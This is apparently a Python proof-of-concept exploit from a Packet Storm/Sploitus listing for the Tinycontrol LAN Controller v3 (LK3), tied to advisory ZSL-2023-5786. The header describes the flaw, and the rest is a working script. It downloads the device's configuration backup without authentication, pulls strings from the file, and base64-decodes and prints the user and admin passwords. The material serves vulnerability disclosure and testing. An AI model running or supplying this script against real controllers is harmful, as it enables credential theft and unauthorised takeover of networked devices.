Share
## https://sploitus.com/exploit?id=PACKETSTORM:174456
#!/usr/bin/env python  
#  
#  
# Tinycontrol LAN Controller v3 (LK3) Remote Credentials Extraction PoC  
#  
#  
# Vendor: Tinycontrol  
# Product web page: https://www.tinycontrol.pl  
# Affected version: <=1.58a, HW 3.8  
#  
# Summary: Lan Controller is a very universal  
# device that allows you to connect many different  
# sensors and remotely view their readings and  
# remotely control various types of outputs.  
# It is also possible to combine both functions  
# into an automatic if -> this with a calendar  
# when -> then. The device provides a user interface  
# in the form of a web page. The website presents  
# readings of various types of sensors: temperature,  
# humidity, pressure, voltage, current. It also  
# allows you to configure the device, incl. event  
# setting and controlling up to 10 outputs. Thanks  
# to the support of many protocols, it is possible  
# to operate from smartphones, collect and observ  
# the results on the server, as well as cooperation  
# with other I/O systems based on TCP/IP and Modbus.  
#  
# Desc: An unauthenticated attacker can retrieve the  
# controller's configuration backup file and extract  
# sensitive information that can allow him/her/them  
# to bypass security controls and penetrate the system  
# in its entirety.  
#  
# Tested on: lwIP  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2023-5786  
# Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5786.php  
#  
#  
# 18.08.2023  
#  
#  
  
  
import subprocess  
import requests  
import base64  
import sys  
  
binb = "lk3_settings.bin"  
outf = "lk3_settings.enc"  
bpatt = "0upassword"  
epatt = "pool.ntp.org"  
startf = False  
endf = False  
extral = []  
  
print("""  
O`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'O  
| |  
| Tinycontrol LK3 1.58 Settings DL |  
| ZSL-2023-5786 |  
| 2023 (c) Zero Science Lab |  
| |  
|`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'|  
| |  
""")  
  
if len(sys.argv) != 2:  
print("[?] Vaka: python {} ipaddr:port".format(sys.argv[0]))  
exit(-0)  
else:  
rhost=sys.argv[1]  
if not "http" in rhost:  
rhost="http://{}".format(rhost)  
  
try:  
resp = requests.get(rhost + "/" + binb)  
if resp.status_code == 200:  
with open(outf, 'wb') as f:  
f.write(resp.content)  
print(f"[*] Got data as {outf}")  
else:  
print(f"[!] Backup failed. Status code: {resp.status_code}")  
except Exception as e:  
print("[!] Error:", str(e))  
exit(-1)  
  
binf = outf  
sout = subprocess.check_output(["strings", binf], universal_newlines = True)  
linea = sout.split("\n")  
  
for thricer in linea:  
if bpatt in thricer:  
startf = True  
elif epatt in thricer:  
endf = True  
elif startf and not endf:  
extral.append(thricer)  
  
if len(extral) >= 4:  
userl = extral[1].strip()  
adminl = extral[3].strip()  
try:  
decuser = base64.b64decode(userl).decode("utf-8")  
decadmin = base64.b64decode(adminl).decode("utf-8")  
print("[+] User password:", decuser)  
print("[+] Admin password:", decadmin)  
except Exception as e:  
print("[!] Error decoding:", str(e))  
else:  
print("[!] Regex failed.")  
exit(-2)